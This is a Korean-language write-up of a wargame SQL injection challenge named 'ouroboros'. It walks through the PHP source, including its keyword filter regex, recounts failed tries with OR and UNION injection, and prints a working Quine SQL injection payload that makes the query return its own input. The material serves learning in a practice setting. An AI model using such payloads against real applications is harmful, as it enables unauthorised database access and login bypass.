공격 백터

  • Get 메소드 : pw

입력 값에 대한 검증

  • pw : prob, _, ., rollup, join, @ 필터링

코드 설명

if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");

위에 언급하였던 prob, _, ., rollup, join, @ 필터링이다.
pw에 필터링 목록이 있다면 No Hack ~_~을 출력하고 종료한다.

 

$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";

필터링에 걸리지 않았다면 select pw from prob_ouroboros where pw='{$_GET[pw]}'에 삽입된다.
그 후 삽입된 쿼리문을 출력한다.

 

$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

쿼리문의 결과값 pw이 있다면 출력한다.
그 후 결과값 pw와 입력한 pw이 같다면 클리어하게 된다.


문제 풀이

Try - 1

 

테스트를 위해 위와 같은 테이블을 만들었다.

 

문제의 쿼리문으로 생각한 결과 or '1'='1'를 이용한다면 위와 테이블에 들어있는 pw을 모두 출력할 수 있다고 생각이 들었다.

 


하지만 아무 것도 출력되지 않았다.
해당 결과는 테이블 속에 아무 값도 들어있지 않다고 가정할 수 있다.

 

아무 값도 들어있지 않으면 Union 문을 이용하여 원하는 값을 출력할 수 있다.
하지만 쿼리문의 결과값 pw와 입력한 pw가 같아야 하는 문제임으로 Union 문은 아닌 듯 싶지만 일단 한번 테스트를 해보겠다.

Try - 2

위와 같이 내가 원하는 대로 pw에 값을 넣을 수 있다.

 


문제에서도 테스트해보니 아주 잘 되는 것을 확인 할 수 있었다.

 

문제를 풀 수 있는 방법을 찾아보려고 했지만 도저히 찾을 수가 없어서 결국엔 다른 사람의 풀이를 참고하였다.
거기서 Quine SQLi에 대하여 배울 수 있었다.

 

Quine SQL이란?
Quine은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미한다.
Quine SQL은 입력된 쿼리문을 그대로 반환하는 것으로 생각하면 된다.
참고 사이트 : Quine SQL Injection, SQL Injection Tech Quine Query(Quine SQL Injection)

 

?pw=’ union select replace(replace(‘” union select replace(replace(“$”,char(34),char(39)),char(36),”$”)#',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$")#’)#

Quine SQLi 설명에 나온 참고 사이트를 참고하여 Quine SQLi를 시도하니 문제를 클리어할 수 있었다.

복사했습니다!